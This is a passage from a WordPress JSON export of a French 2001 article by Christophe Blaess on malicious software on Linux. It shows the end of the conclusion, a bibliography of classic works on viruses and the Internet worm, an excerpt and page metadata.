devra pas autoriser ses applications bureautiques \u00e0 se comporter de mani\u00e8re trop laxiste, le second est fondamentalement difficile \u00e0 r\u00e9soudre, m\u00eame pour un administrateur consciencieux. \u00c0 terme, de puissants d\u00e9tecteurs de virus devront probablement \u00eatre mis en place sur les stations Linux connect\u00e9es \u00e0 Internet\u00a0; esp\u00e9rons que de tels projets verront rapidement le jour dans le monde des logiciels libres.<\/p>\n<h2>Bibliographie<\/h2>\n<p style=\"text-align: justify;\">Le nombre de documents traitant des virus, chevaux de Troie et autres menaces logicielles est assez important\u00a0; il existe beaucoup de textes d&rsquo;actualit\u00e9 recensant les virus courants, leurs fonctionnements et leurs effets. Naturellement la plupart de ces listes concernent l&rsquo;environnement Dos\/Windows, mais une partie d&rsquo;entre-elles traite de Linux. Les articles cit\u00e9s ici sont plut\u00f4t des classiques \u00e9tudiant les m\u00e9canismes th\u00e9oriques mis en oeuvre.<\/p>\n<ul>\n<li>[BLAESS 00] Christophe Blaess &#8211; \u00ab\u00a0<em>Programmation syst\u00e8me en C sous Linux<\/em>\u00ab\u00a0, Eyrolles, 2000.<\/li>\n<li>[DEWDNEY 84] A.K. Dewdney &#8211; \u00ab\u00a0<em>Computer recreations<\/em>\u00a0\u00bb in\u00a0<em>Scientific American<\/em>. Articles visibles en versions scann\u00e9es sur <a href=\"http:\/\/www.koth.org\/info\/sciam\/\">http:\/\/www.koth.org\/info\/sciam\/<\/a>.<\/li>\n<li>[EICHIN 89] Mark W. Eichin &amp; Jon A. Rochlis &#8211; \u00ab\u00a0<em>With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988<\/em>\u00ab\u00a0, MIT Cambridge, 1989. Accessible en ligne sur\u00a0<a href=\"http:\/\/www.mit.edu\/people\/eichin\/virus\/main.html\">http:\/\/www.mit.edu\/people\/eichin\/virus\/main.html<\/a>.<\/li>\n<li>[GIBSON 01] Steve Gibson &#8211; \u00ab\u00a0<em>The Strange Tale of the Denial of Service Attack Against GRC.COM<\/em>\u00ab\u00a0, 2001. Disponible sur <a href=\"http:\/\/grc.com\">http:\/\/grc.com\/dos\/grcdos.htm<\/a>.<\/li>\n<li>[KEHOE 92] Brendan P. Kehoe &#8211; \u00ab\u00a0<em>Zen and the Art of the Internet<\/em>\u00ab\u00a0, 1992. Disponible sur\u00a0<a href=\"http:\/\/www.cs.indiana.edu\/docproject\/zen\/zen-1.0_toc.html\">http:\/\/www.cs.indiana.edu\/docproject\/zen\/zen-1.0_toc.html<\/a>.<\/li>\n<li>[LUDWIG 91] Mark A. Ludwig &#8211; \u00ab\u00a0<em>The Little Black Book of Computer Virus<\/em>\u00ab\u00a0, American Eagle Publications Inc., 1991. Traduit en fran\u00e7ais sous le titre \u00ab\u00a0<em>Naissance d&rsquo;un virus<\/em>\u00ab\u00a0, Addison-Wesley France, 1993.<\/li>\n<li>[LUDWIG 93] Mark A. Ludwig &#8211; \u00ab\u00a0<em>Computer Viruses, Artificial Life and Evolution<\/em>\u00ab\u00a0, American Eagle Publications Inc., 1993. Traduit en fran\u00e7ais sous le titre \u00ab\u00a0<em>Mutation d&rsquo;un virus<\/em>\u00ab\u00a0, Addison-Wesley France, 1994.<\/li>\n<li>[MARSDEN 00] Anton Marsden &#8211; \u00ab\u00a0<em>The rec.games.corewar FAQ<\/em>\u00a0\u00bb disponible sur\u00a0<a href=\"http:\/\/homepages.paradise.net.nz\/~anton\/cw\/corewar-faq.html\">http:\/\/homepages.paradise.net.nz\/~anton\/cw\/corewar-faq.html<\/a>.<\/li>\n<li>[MORRIS 85] Robert T. Morris &#8211; \u00ab\u00a0<em>A Weakness in the 4.2BSD Unix TCP\/IP Software<\/em>\u00ab\u00a0, AT&amp;T Bell Laboratories, 1985. Disponible sur<a href=\"http:\/\/www.pdos.lcs.mit.edu\/~rtm\/\">http:\/\/www.pdos.lcs.mit.edu\/~rtm\/<\/a>.<\/li>\n<li>[SPAFFORD 88] Eugene H. Spafford &#8211; \u00ab\u00a0<em>The Internet Worm Program: an Analysis<\/em>\u00ab\u00a0, Purdue University Technical Report CSD-TR-823, 1988. Disponible sur\u00a0<a href=\"http:\/\/www.cerias.purdue.edu\/homes\/spaf\/\">http:\/\/www.cerias.purdue.edu\/homes\/spaf\/<\/a>.<\/li>\n<li>[SPAFFORD 91] Eugene H. Spafford &#8211; \u00ab\u00a0<em>The Internet Worm Incident<\/em>\u00ab\u00a0, Purdue University Technical Report CSD-TR-933, 1991. Disponible sur <a href=\"http:\/\/www.cerias.purdue.edu\/homes\/spaf\/\">http:\/\/www.cerias.purdue.edu\/homes\/spaf\/<\/a>.<\/li>\n<li>[SPAFFORD 94] Eugene H. Spafford &#8211; \u00ab\u00a0<em>Computer Viruses as Artificial Life<\/em>\u00ab\u00a0, Journal of Artificial Life, MIT Press, 1994. Disponible sur <a href=\"http:\/\/www.cerias.purdue.edu\/homes\/spaf\/\">http:\/\/www.cerias.purdue.edu\/homes\/spaf\/<\/a>.<\/li>\n<li>[STOLL 89] Clifford Stoll &#8211; \u00ab\u00a0<em>The Cuckcoo&rsquo;s egg<\/em>\u00ab\u00a0, Doubleday, 1989. Traduit en fran\u00e7ais sous le titre \u00ab\u00a0<em>Le nid du coucou<\/em>\u00ab\u00a0, Albin Michel, 1989.<\/li>\n<li>[THOMPSON 84] Ken Thompson &#8211; \u00ab\u00a0<em>Reflections on Trusting Trust<\/em>\u00ab\u00a0, Communication of the ACM vol.27 n\u00b08, August 1984. R\u00e9imprim\u00e9 en 1995 et disponible sur\u00a0<a href=\"http:\/\/www.acm.org\/classics\/sep95\/\">http:\/\/www.acm.org\/classics\/sep95\/<\/a>.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>","protected":false},"excerpt":{"rendered":"<p>Juillet 2001 &nbsp; Cet article passe en revue les probl&egrave;mes de s&eacute;curit&eacute; interne pouvant se pr&eacute;senter sur un syst&egrave;me Linux du seul fait de logiciels agressifs, sans intervention humaine&nbsp;: virus, vers, chevaux de Troie, etc. Nous d&eacute;taillerons les diff&eacute;rents types de dangers possibles, en examinant les avantages et les inconv&eacute;nients des logiciels libres dans cette [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"parent":20,"menu_order":4,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-50","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/pages\/50","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/comments?post=50"}],"version-history":[{"count":0,"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/pages\/50\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/pages\/20"}],"wp:attachment":[{"href":"https:\/\/www.blaess.fr\/christophe\/wp-json\/wp\/v2\/media?parent=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}